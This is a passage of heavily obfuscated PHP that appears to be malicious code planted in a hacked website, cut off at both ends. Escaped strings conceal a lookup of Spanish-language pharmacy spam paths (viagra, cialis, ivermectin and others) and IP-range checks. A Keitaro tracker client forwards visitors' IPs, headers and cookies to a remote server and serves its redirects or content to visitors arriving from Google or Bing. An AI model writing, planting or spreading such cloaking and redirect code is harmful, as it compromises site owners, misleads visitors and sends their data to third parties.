sprintf("\45\165", ip2long($_6)); $_9 = (double) sprintf("\x25\165", ip2long($_7)); $_10 = (double) sprintf("\45\x75", ip2long($_1)); if ($_10 >= $_8 && $_10 <= $_9) { $_3 = true; break; } } } $_11 = $_SERVER["\x52\105\121\x55\105\123\x54\x5f\125\x52\111"]; switch ($_11) { case "\57\x6c\151\142\145\162\x65\x2d\x73\165\55\160\157\164\x65\x6e\x63\x69\141\154\55\x64\145\x2d\146\145\162\x74\x69\x6c\x69\144\141\x64\55\x63\x6f\156\x2d\x63\154\x6f\x6d\151\x64\x2f": $_12 = "\143\x6c\x6f\155\x69\144"; break; case "\57\143\x6f\155\x70\x72\x65\x2d\160\162\151\x6c\x69\147\171\x2d\145\x6e\x2d\x6c\151\x6e\x65\141\x2d\x79\x2d\x6d\145\x6a\x6f\x72\145\x2d\x73\165\163\x2d\145\x78\x70\145\162\x69\145\x6e\x63\x69\141\163\55\163\145\170\x75\x61\154\145\163\x2f": $_12 = "\x70\x72\x69\x6c\151\147\x79"; break; case "\x2f\x63\x6f\x6e\163\x69\x67\x61\x2d\165\156\55\x63\x61\142\145\x6c\154\x6f\55\x6d\141\163\x2d\147\162\165\145\163\157\x2d\171\x2d\x61\x75\155\x65\156\x74\x65\x2d\163\x75\55\x63\157\156\146\151\141\156\172\141\x2d\55\55\x63\157\x6d\160\x72\145\x2d\141\166\157\144\x61\x72\x74\x2d\141\150\157\x72\x61\x2f": $_12 = "\x61\x76\157\144\x61\x72\164"; break; case "\57\145\x6c\151\x6d\151\156\x65\55\154\x61\163\55\151\156\x66\145\x63\x63\x69\157\156\145\x73\55\x63\x6f\x6e\x2d\144\151\146\154\x75\143\141\x6e\55\x2d\55\143\x6f\155\x70\162\x65\154\x6f\x2d\141\x68\157\x72\x61\55\171\x2d\x61\x68\157\x72\x72\145\57": $_12 = "\x64\151\146\154\165\143\141\x6e"; break; case "\x2f\x63\157\x6d\x70\162\x61\x72\55\166\145\x6e\164\x6f\x6c\151\x6e\55\157\156\x6c\x69\x6e\x65\55\x2d\x2d\x61\154\151\x76\x69\157\55\162\141\160\151\x64\157\x2d\x64\145\55\154\157\163\55\163\151\x6e\164\157\x6d\x61\x73\55\x64\x65\154\55\x61\x73\155\x61\57": $_12 = "\166\x65\x6e\164\x6f\154\x69\x6e"; break; case "\x2f\x6f\x62\x74\145\156\147\141\x2d\154\141\163\x2d\x6d\x65\x6a\157\162\x65\x73\x2d\157\146\x65\162\164\x61\x73\55\145\156\55\141\155\x6f\170\151\154\x2d\55\55\143\x6f\x6d\x70\x72\145\x6c\x6f\x2d\x63\157\x6e\55\165\x6e\55\147\162\141\156\x2d\x64\x65\163\x63\165\x65\x6e\164\157\x2f": $_12 = "\141\x6d\157\x78\x69\154"; break; case "\x2f\x63\157\x6d\160\x72\145\55\x6d\157\164\151\154\151\x75\x6d\55\x65\156\x2d\154\x69\x6e\145\141\55\x79\55\144\x69\163\x66\x72\x75\x74\x65\55\x64\x65\55\x75\156\x61\55\x6f\146\145\x72\x74\x61\x2d\144\x65\55\x64\145\163\143\x75\x65\x6e\164\x6f\x2f": $_12 = "\x6d\x6f\164\151\154\151\165\155"; break; case "\x2f\x6c\151\x62\145\x72\x65\55\145\x6c\x2d\x70\157\164\x65\x6e\x63\x69\x61\154\x2d\144\145\x2d\x73\165\55\143\x61\x62\145\x6c\x6c\157\x2d\x63\x6f\x6e\x2d\x70\x72\x6f\x70\x65\x63\151\141\55\55\x2d\x63\x6f\x6d\x70\162\x65\55\x61\x68\157\x72\141\55\x63\157\x6e\x2d\147\162\141\156\x64\x65\163\x2d\144\x65\x73\143\165\145\x6e\164\x6f\163\57": $_12 = "\x70\x72\157\x70\x65\x63\x69\141"; break; case "\57\x63\157\x6d\160\162\145\x2d\162\x6f\x62\141\170\151\x6e\55\x61\150\x6f\162\141\55\x79\55\x61\x68\157\162\162\x65\x2d\141\55\154\157\x2d\x67\162\x61\156\x64\x65\57": $_12 = "\x72\157\x62\x61\170\x69\156"; break; case "\x2f\x72\x65\x76\151\164\x61\x6c\151\x63\145\x2d\x73\x75\55\163\x61\x6c\x75\144\x2d\143\x6f\x6e\x2d\154\x61\x73\151\x78\x2d\55\x2d\x63\157\x6d\x70\x72\x65\x6c\x6f\55\x61\150\157\162\141\x2d\171\x2d\x64\x69\x73\x66\x72\165\164\145\x2d\144\x65\x2d\x70\x72\x65\143\x69\157\x73\x2d\162\145\144\165\x63\151\144\157\x73\x2f": $_12 = "\x6c\x61\163\151\170"; break; case "\x2f\143\x6f\155\x70\x72\x61\x72\55\141\x6e\x74\141\142\x75\x73\x65\55\x67\165\x69\x61\55\143\x6f\155\x70\x6c\x65\164\141\x2d\x70\141\x72\141\55\145\154\55\164\x72\141\x74\141\155\x69\x65\156\x74\157\55\144\x65\55\154\x61\55\x61\x64\151\x63\143\151\x6f\x6e\x2d\x61\x6c\55\x61\x6c\x63\x6f\x68\x6f\x6c\x2f": $_12 = "\x61\156\164\x61\x62\165\x73\145"; break; case "\x2f\143\157\x6d\160\x72\x61\55\141\x74\141\x72\x61\170\55\x65\156\55\145\x73\x70\141\156\x61\x2d\x61\154\151\x76\151\157\55\145\146\x65\x63\x74\x69\166\157\x2d\x79\x2d\163\x65\147\165\162\157\55\160\141\162\141\x2d\154\141\x2d\x61\x6e\163\x69\x65\144\x61\144\x2d\171\55\141\154\145\162\x67\x69\x61\x73\57": $_12 = "\x61\x74\x61\x72\141\170"; break; case "\x2f\x63\x6f\x6d\160\x72\141\x2d\x63\145\x6e\x66\157\162\x63\145\x2d\x65\x6e\x2d\x65\163\x70\x61\156\x61\55\163\x6f\154\165\143\151\157\x6e\x2d\145\x66\x65\x63\164\151\x76\141\x2d\x70\x61\162\x61\55\x6c\141\55\144\x69\163\x66\165\x6e\x63\x69\157\156\55\x65\x72\x65\143\164\x69\x6c\x2f": $_12 = "\143\x65\156\x66\x6f\162\143\x65"; break; case "\x2f\143\151\141\154\x69\163\55\x62\x6c\x61\143\153\x2d\x65\x6e\55\145\x73\x70\x61\156\x61\x2d\162\145\x76\x6f\154\x75\143\x69\x6f\156\x61\x2d\164\165\55\166\x69\144\x61\55\163\145\170\165\141\154\x2d\x63\x6f\156\55\165\x6e\x2d\x73\x6f\x6c\157\x2d\x63\x6c\x69\x63\x2f": $_12 = "\143\151\141\x6c\151\x73\x2d\x62\x6c\141\143\x6b"; break; case "\x2f\141\144\161\x75\x69\x65\x72\x65\x2d\143\151\141\154\x69\163\55\x65\x6e\55\x65\163\x70\x61\156\x61\x2d\x74\x75\x2d\141\154\x69\141\144\157\x2d\x63\x6f\156\146\151\x61\142\154\145\55\143\x6f\156\x74\162\x61\55\154\141\x2d\x64\x69\x73\x66\x75\156\x63\151\x6f\x6e\x2d\145\x72\x65\143\164\x69\x6c\x2f": $_12 = "\x63\x69\141\x6c\151\x73"; break; case "\x2f\x69\156\144\145\162\141\154\x2d\145\x6e\55\145\163\160\141\x2d\141\x2d\143\x6f\x6e\x74\162\157\154\x61\x2d\164\165\55\x63\157\x72\141\x7a\x2d\156\55\x79\x2d\141\x6e\163\151\145\x64\x61\144\57": $_12 = "\x69\x6e\x64\x65\x72\141\154"; break; case "\x2f\x74\x6f\144\157\55\163\x6f\142\x72\x65\x2d\x63\157\x6d\x70\x72\x61\x72\x2d\x69\x76\145\x72\155\x65\143\164\x69\156\x2d\x2d\143\157\156\x73\145\152\x6f\x73\55\145\x78\160\145\x72\x74\157\x73\x2d\160\141\x72\141\55\x75\156\x61\x2d\x61\x64\161\165\151\163\151\x63\151\157\156\x2d\163\145\147\x75\162\x61\x2d\171\55\142\x65\156\x65\x66\x69\143\x69\157\x73\x61\x2f": $_12 = "\x69\166\x65\x72\x6d\x65\143\x74\x69\x6e"; break; case "\57\153\x61\155\x61\x67\162\x61\x2d\162\145\166\151\x74\141\154\x69\x7a\x61\x2d\164\x75\55\166\151\144\x61\55\163\145\170\x75\141\154\x2d\x65\156\55\x65\163\160\141\x2d\141\x2f": $_12 = "\153\141\x6d\141\x67\162\141"; break; case "\57\166\x61\x6c\164\162\x65\170\x2d\164\165\55\x65\x73\143\x75\144\x6f\x2d\143\157\x6e\164\x72\141\x2d\x65\x6c\x2d\x68\145\162\x70\145\163\x2d\x65\x6e\x2d\x65\163\x70\141\55\141\57": $_12 = "\166\x61\x6c\x74\162\145\x78"; break; case "\57\x63\157\x6d\x70\162\141\x72\x2d\166\x69\141\x67\x72\x61\55\x65\x6e\x2d\x6c\151\x6e\x65\x61\x2d\154\157\x2d\161\x75\145\55\x6e\145\x63\x65\163\151\x74\x61\163\55\163\141\142\x65\x72\x2d\141\156\164\x65\x73\x2d\x64\145\55\143\157\x6d\x70\x72\x61\x72\x2f": $_12 = "\166\x69\x61\x67\162\141\x2d\x64\145\x65\x70\x61\x69"; break; case "\57\x76\x69\x61\x67\162\141\x2d\x72\145\156\165\145\166\x61\x2d\x74\165\55\145\x6e\145\162\x67\55\141\x2d\x73\145\x78\165\141\x6c\x2d\145\x6e\x2d\x65\x73\x70\x61\55\141\57": $_12 = "\x76\x69\x61\x67\162\x61\x2d\x73\x76\145\x72"; break; case "\x2f\166\151\x64\141\154\x69\x73\x74\141\55\145\x6e\x2d\145\163\160\x61\55\141\55\x70\x6f\x74\145\x6e\x63\151\141\x2d\x64\x75\162\141\144\x65\162\141\x2d\x70\x61\162\x61\x2d\x74\151\x2f": $_12 = "\166\151\144\141\154\x69\163\x74\141"; break; case "\57\166\157\x6c\x74\x61\x72\145\156\55\141\x6c\x69\166\151\x6f\55\162\55\x70\151\x64\157\x2d\144\145\x6c\x2d\144\x6f\x6c\157\x72\55\145\156\x2d\145\163\x70\141\55\x61\57": $_12 = "\166\x6f\x6c\x74\x61\162\145\156"; break; } if (!$_3) { if ((stripos($_0, "\147\157\157\x67\154\x65\56") || stripos($_0, "\142\x69\x6e\147\x2e")) && isset($_12)) { class KClient { const SESSION_SUB_ID = "\163\165\142\x5f\x69\x64"; const SESSION_LANDING_TOKEN = "\x6c\141\x6e\x64\x69\156\147\x5f\164\157\153\x65\156"; const VERSION = 3; const STATE_SESSION_KEY = "\x6b\145\151\164\x61\x72\157\137\163\x74\x61\x74\x65"; const STATE_SESSION_EXPIRES_KEY = "\x6b\x65\151\x74\141\x72\157\x5f\x73\x74\141\x74\145\137\x65\x78\160\x69\x72\145\163"; const DEFAULT_TTL = 1; const NOT_FOUND_STATUS = 404; private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array("\x61\160\151\137\153\145\171", "\164\x6f\x6b\145\156", "\154\141\156\x67\x75\x61\x67\x65", "\165\x61", "\x69\160", "\x72\145\146\x65\x72\162\x65\x72", "\x66\x6f\162\x63\x65\137\162\x65\x64\x69\x72\x65\143\x74\x5f\157\x66\146\x65\162"); private $_result; private $_stateRestored; private $_sessionsDisabled = false; const ERROR = "\133\x4b\124\162\141\x66\146\151\143\103\x6c\x69\145\x6e\164\x5d\x20\x53\157\x6d\x65\164\150\151\156\147\40\151\163\40\x77\162\x6f\x6e\x67\x2e\40\105\156\x61\x62\x6c\145\40\x64\x65\142\165\x67\x20\x6d\157\144\x65\x20\164\157\x20\163\x65\x65\x20\164\150\x65\40\x72\x65\x61\x73\157\x6e\56"; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param("\x69\156\146\157", 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER["\110\x54\x54\120\137\x52\105\x46\105\x52\x45\122"]) ? $_SERVER["\110\x54\124\120\x5f\x52\105\x46\x45\x52\105\122"] : null; $this->setHttpClient(new KHttpClient()); $host = isset($_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\x54"]) ? $_SERVER["\110\x54\124\x50\x5f\110\117\123\x54"] : null; $requestUri = isset($_SERVER["\x52\x45\x51\125\105\x53\124\x5f\x55\x52\x49"]) ? $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\125\x52\x49"] : null; $this->ip($this->_findIp())->ua(isset($_SERVER["\110\124\124\x50\137\x55\123\x45\122\x5f\101\x47\x45\116\124"]) ? $_SERVER["\x48\124\124\x50\137\x55\x53\105\x52\137\x41\x47\x45\116\x54"] : null)->language(isset($_SERVER["\x48\124\x54\120\x5f\101\103\x43\x45\120\124\x5f\114\x41\x4e\x47\x55\101\x47\x45"]) ? substr($_SERVER["\x48\124\x54\x50\x5f\x41\x43\x43\105\x50\x54\x5f\114\x41\x4e\x47\x55\x41\107\105"], 0, 2) : '')->xRequestedWith(isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\x52\x45\121\x55\x45\123\124\x45\104\x5f\x57\111\x54\110"]) ? $_SERVER["\110\x54\x54\x50\x5f\x58\x5f\x52\x45\121\125\x45\x53\124\x45\104\x5f\x57\x49\x54\110"] : null)->seReferrer($referrer)->referrer($referrer)->param("\157\162\151\x67\151\156\x61\x6c\137\150\x65\x61\144\145\162\x73", $this->_getAllHeaders())->param("\157\x72\151\147\151\156\x61\154\x5f\150\157\163\x74", isset($_SERVER["\110\124\x54\x50\137\110\117\x53\124"]) ? $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"] : "\154\x6f\x63\x61\x6c\150\x6f\163\x74")->param("\157\162\x69\x67\151\x6e\x61\x6c\137\155\145\x74\x68\157\x64", isset($_SERVER["\122\105\x51\125\x45\x53\124\137\x4d\105\124\110\x4f\104"]) ? $_SERVER["\122\x45\121\125\x45\x53\124\137\x4d\x45\124\110\117\x44"] : "\107\x45\x54")->param("\165\x72\151", (!empty($_SERVER["\x48\124\124\x50\x53"]) ? "\150\x74\164\x70\x73" : "\150\164\164\160") . "\x3a\57\x2f" . $host . $requestUri)->param("\x6b\x76\x65\162\x73\x69\x6f\156", "\63\x2e\64"); if ($this->isPrefetchDetected()) { $this->param("\x70\x72\x65\146\145\x74\x63\x68", 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params["\163\x65\137\x72\145\x66\x65\162\162\x65\x72"] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params["\162\x65\146\x65\162\x72\x65\x72"] = $referrer; return $this; } public function xRequestedWith($xRequestedWith) { $this->_params["\170\137\162\x65\161\165\145\163\164\145\x64\x5f\167\x69\164\x68"] = $xRequestedWith; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($trackerUrl) { if (!empty($trackerUrl)) { $request = parse_url($trackerUrl); $this->_trackerUrl = "{$request["\x73\143\150\x65\x6d\x65"]}\72\x2f\x2f{$request["\150\157\x73\x74"]}"; if (isset($request["\x70\157\x72\164"])) { $this->_trackerUrl .= "\x3a" . $request["\160\157\x72\x74"]; } } } public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params["\164\x6f\x6b\x65\x6e"] = $campaignToken; return $this; } public function version($version) { $this->_params["\166\x65\162\x73\x69\157\x6e"] = $version; return $this; } public function ua($ua) { $this->_params["\165\141"] = $ua; return $this; } public function language($language) { $this->_params["\x6c\141\156\x67\x75\x61\x67\145"] = $language; return $this; } public function keyword($keyword) { $this->_params["\153\x65\x79\167\157\162\x64"] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params["\x66\157\162\x63\145\x5f\x72\145\144\x69\x72\145\x63\164\137\157\146\x66\x65\x72"] = 1; } public function ip($ip) { $this->_params["\151\x70"] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, "\x75\x74\x6d\137")) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION["\164\x6f\153\145\156"] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("\116\157\40\x73\165\x62\137\x69\x64\40\151\x73\x20\x64\x65\146\151\156\145\x64"); return "\x6e\157\137\x73\x75\142\x69\144"; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("\x4e\x6f\x20\x6c\141\x6e\144\151\156\x67\x20\164\x6f\x6b\145\156\x20\151\x73\40\144\x65\x66\151\156\145\x64"); return "\156\x6f\x5f\164\157\153\145\156"; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored() || $this->_sessionsDisabled) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log("\123\x74\x61\x74\145\40\145\170\160\x69\x72\145\144"); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log("\x53\164\x61\164\145\40\x72\145\163\x74\157\162\x65\144"); } } } public function disableSessions() { $this->_sessionsDisabled = true; } public function restoreFromQuery() { if (isset($_GET["\137\163\x75\142\151\144"])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET["\x5f\x73\x75\142\x69\144"]; $this->log("\123\165\142\111\144\40\154\x6f\x61\144\145\144\40\x66\162\x6f\x6d\40\x71\165\x65\162\x79"); if (isset($_GET["\x5f\164\x6f\x6b\145\x6e"])) { $this->_result->info->token = $_GET["\137\164\x6f\x6b\x65\156"]; $this->log("\x4c\141\x6e\144\x69\156\x67\x20\x74\157\x6b\x65\156\x20\x6c\157\141\144\x65\x64\40\x66\x72\157\155\40\161\x75\x65\162\x79"); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array("\110\124\124\120\137\x58\137\120\125\122\120\x4f\x53\105" => "\160\162\145\x76\151\x65\x77", "\x48\x54\124\120\x5f\x58\x5f\x4d\117\x5a" => "\160\x72\145\146\x65\x74\x63\x68", "\110\124\124\x50\137\130\137\x46\102\x5f\110\124\124\120\x5f\105\x4e\x47\x49\116\105" => "\x4c\x69\x67\x65\x72"); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), "\x2f", $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log("\x52\x65\x71\x75\x65\x73\164\72\x20" . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log("\122\145\163\160\x6f\156\x73\145\x3a\x20" . $result); } catch (KClientError $e) { if ($this->_debug) { throw $e; } else { $errorCode = $e->getHumanCode(); $errorCode = $errorCode ? $errorCode . "\40" : ''; echo $errorCode . self::ERROR; return; } } $this->_result = json_decode($result); $this->_storeState($this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies, $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $result = $this->performRequest(); $body = $this->_buildBody($result); if (!$print) { return $body; } $this->_sendHeaders($result); echo $body; } public function executeAndBreak() { $result = $this->performRequest(); $body = $this->_buildBody($result); $this->_sendHeaders($result); if (!empty($body)) { die($body); } if (!empty($result->headers) && ResponseExecutor::containsActionHeader($result->headers)) { die($body); } if (!empty($result->status) && $result->status == self::NOT_FOUND_STATUS) { die($body); } } public function getContent() { $result = $this->performRequest(); return $this->_buildBody($result); } public function showLog($separator = "\74\142\162\40\57\x3e") { echo "\x3c\x68\x72\x3e" . implode($separator, $this->getLog()) . "\x3c\x68\162\76"; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function getParams() { return $this->_params; } private function _sendHeaders($result) { $file = ''; $line = ''; if (headers_sent($file, $line)) { $msg = "\102\x6f\144\x79\40\157\165\x74\x70\x75\164\40\141\x6c\162\145\x61\144\171\40\x73\164\x61\162\x74\145\x64"; if (!empty($file)) { $msg .= "\x28{$file}\72{$line}\51"; } $this->log($msg); return; } ResponseExecutor::sendHeaders($result); } private function _storeState($result, $ttl) { if ($this->_sessionsDisabled) { return; } $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + $ttl * 60 * 60; if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _buildBody($result) { $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, "\151\155\141\147\145") || strstr($result->contentType, "\141\x70\x70\x6c\151\x63\141\x74\x69\157\x6e\57\x70\144\x66"))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function getOffer($params = array(), $fallback = "\156\157\x5f\x6f\x66\x66\145\x72") { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log("\x43\x61\155\x70\141\151\x67\156\x20\x68\x61\163\x6e\x27\164\40\162\145\164\165\162\x6e\145\x64\40\x6f\x66\146\145\x72"); return $fallback; } $params["\x5f\154\x70"] = 1; $params["\137\164\x6f\x6b\145\156"] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = "\143\141\x6d\160\141\151\147\156") { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->{$level}) ? $result->info->uniqueness->{$level} : false; } } public function forceChooseOffer() { throw new \Error("\146\157\162\143\145\x43\150\x6f\x6f\163\x65\x4f\x66\146\145\x72\40\167\x61\163\40\162\x65\x6d\157\x76\145\x64\40\x69\x6e\x20\113\x43\154\151\x65\x6e\164\40\166\x33\56"); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $params = http_build_query($params); return "{$this->_trackerUrl}\x2f\77{$params}"; } private function _getCurrentPage() { if (isset($_SERVER["\x53\105\122\x56\x45\122\137\120\x4f\x52\x54"]) && $_SERVER["\x53\105\122\x56\105\122\x5f\120\x4f\x52\124"] == 443 || !empty($_SERVER["\x48\x54\124\x50\123"])) { $scheme = "\150\164\164\x70\163"; } else { $scheme = "\150\x74\x74\x70"; } return $scheme . "\72\x2f\x2f" . $_SERVER["\110\124\x54\120\x5f\110\117\x53\124"] . $_SERVER["\122\105\121\125\105\x53\x54\x5f\x55\x52\111"]; } private function _buildRequestUrl() { return $this->_trackerUrl . "\57\143\154\x69\143\153\x5f\x61\x70\x69\57\x76" . self::VERSION; } private function _findIp() { $ip = null; $headers = array("\x48\x54\124\x50\137\130\x5f\x46\x4f\122\x57\x41\x52\x44\x45\x44\137\106\117\122", "\110\x54\x54\120\x5f\x46\117\122\127\x41\x52\104\105\x44\x5f\106\117\122", "\110\x54\x54\x50\x5f\130\137\x46\117\x52\x57\101\122\104\x45\104", "\110\x54\124\120\x5f\x46\117\x52\x57\x41\x52\x44\x45\x44", "\110\124\124\120\x5f\x43\114\x49\105\x4e\x54\137\111\120", "\x48\x54\x54\x50\137\106\117\122\x57\x41\x52\x44\x45\104\x5f\x46\x4f\x52\137\111\x50", "\130\x5f\106\x4f\x52\127\x41\122\x44\x45\x44\x5f\106\117\122", "\106\x4f\122\x57\x41\x52\x44\x45\104\137\x46\x4f\122", "\130\x5f\106\117\122\x57\x41\x52\x44\x45\104", "\106\117\122\127\101\122\104\x45\x44", "\x43\114\x49\105\116\x54\137\111\x50", "\106\117\x52\127\101\122\104\105\104\x5f\106\117\122\x5f\x49\x50", "\110\x54\x54\x50\x5f\x43\x46\x5f\x43\x4f\116\x4e\x45\x43\124\x49\x4e\107\x5f\x49\x50", "\110\x54\124\x50\137\x50\x52\x4f\x58\131\137\103\117\116\116\x45\x43\124\x49\x4f\x4e"); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode("\54", $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, "\54")) { $tmp = explode("\54", $ip); if (stristr($_SERVER["\x48\124\x54\x50\137\125\x53\x45\122\x5f\x41\107\105\x4e\124"], "\x6d\151\x6e\x69")) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = isset($_SERVER["\122\x45\115\117\x54\x45\137\x41\104\104\x52"]) ? $_SERVER["\122\105\x4d\117\124\105\x5f\101\x44\x44\x52"] : "\x31\62\67\56\60\x2e\x30\56\61"; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER["\110\x54\124\x50\x5f\x48\x4f\123\124"]) && substr_count($_SERVER["\x48\x54\124\120\x5f\110\117\123\x54"], "\x2e") < 3) { $host = "\x2e" . str_replace("\x77\167\x77\x2e", '', $_SERVER["\x48\x54\x54\x50\137\110\117\123\x54"]); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["\110\124\x54\120\x5f\x43\x4f\x4f\x4b\x49\105"])) { $opts["\x63\x6f\157\x6b\x69\x65\x73"] = preg_replace("\x2f\120\110\x50\x53\105\x53\x53\111\x44\75\x2e\52\77\73\x2f\x73\x69", '', $_SERVER["\110\x54\124\120\137\103\x4f\x4f\x4b\111\x45"]); } return $opts; } private function _getAllHeaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == "\x48\124\x54\120\137") { $headers[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\137", "\40", substr($name, 5)))))] = $value; } } return $headers; } } class ResponseExecutor { public static function sendHeaders($result) { if (!empty($result->headers)) { foreach ($result->headers as $header) { if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { static::_sendResponseCode($result->status); } if (!empty($result->contentType)) { $header = "\x63\x6f\156\164\x65\156\164\55\164\x79\x70\145\72\40" . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } } public static function containsActionHeader($headers) { if (empty($headers)) { return false; } foreach ($headers as $header) { if (strpos($header, "\154\x6f\x63\141\x74\151\x6f\x6e\72") === 0) { return true; } if (strstr($header, "\64\60\x34\x20\x4e\x6f\164\x20\106\x6f\165\x6e\x64")) { return true; } } return false; } private static function _sendResponseCode($code = null) { if ($code !== null) { switch ($code) { case 100: $text = "\103\x6f\x6e\164\151\156\x75\x65"; break; case 101: $text = "\x53\x77\x69\x74\143\x68\x69\156\147\x20\120\162\157\x74\157\143\x6f\154\x73"; break; case 200: $text = "\x4f\113"; break; case 201: $text = "\103\162\145\141\x74\x65\x64"; break; case 202: $text = "\x41\143\x63\145\160\x74\145\144"; break; case 203: $text = "\116\157\156\x2d\101\x75\x74\150\157\x72\x69\x74\x61\x74\151\x76\145\40\111\x6e\x66\157\162\155\x61\x74\151\157\x6e"; break; case 204: $text = "\x4e\157\x20\x43\x6f\156\x74\x65\x6e\164"; break; case 205: $text = "\122\145\163\145\x74\40\x43\157\156\164\145\x6e\164"; break; case 206: $text = "\120\141\x72\164\x69\x61\154\x20\x43\x6f\x6e\164\x65\x6e\x74"; break; case 300: $text = "\x4d\165\154\x74\151\x70\154\145\40\x43\x68\157\151\x63\x65\x73"; break; case 301: $text = "\x4d\157\166\x65\144\x20\x50\145\x72\155\x61\156\x65\156\164\x6c\x79"; break; case 302: $text = "\x4d\x6f\x76\x65\144\40\124\145\155\x70\157\162\x61\x72\x69\x6c\x79"; break; case 303: $text = "\123\x65\145\40\x4f\164\x68\x65\x72"; break; case 304: $text = "\x4e\157\164\x20\x4d\x6f\144\151\146\x69\x65\144"; break; case 305: $text = "\125\x73\145\x20\x50\x72\157\x78\x79"; break; case 400: $text = "\102\141\144\x20\122\145\161\x75\145\163\164"; break; case 401: $text = "\x55\x6e\141\x75\x74\150\157\x72\151\x7a\145\144"; break; case 402: $text = "\x54\x68\x65\x20\154\151\143\x65\156\x73\x65\x20\x6d\165\163\164\x20\x62\145\40\x69\x6e\x20\120\162\x6f\40\x65\x64\151\164\151\157\x6e\40\x6f\x72\40\x68\x69\147\x68\x65\x72"; break; case 403: $text = "\106\x6f\x72\x62\x69\144\144\145\156"; break; case 404: $text = "\116\x6f\x74\40\106\x6f\x75\x6e\144"; break; case 405: $text = "\115\x65\x74\150\157\144\40\x4e\x6f\164\40\101\x6c\154\x6f\x77\x65\144"; break; case 406: $text = 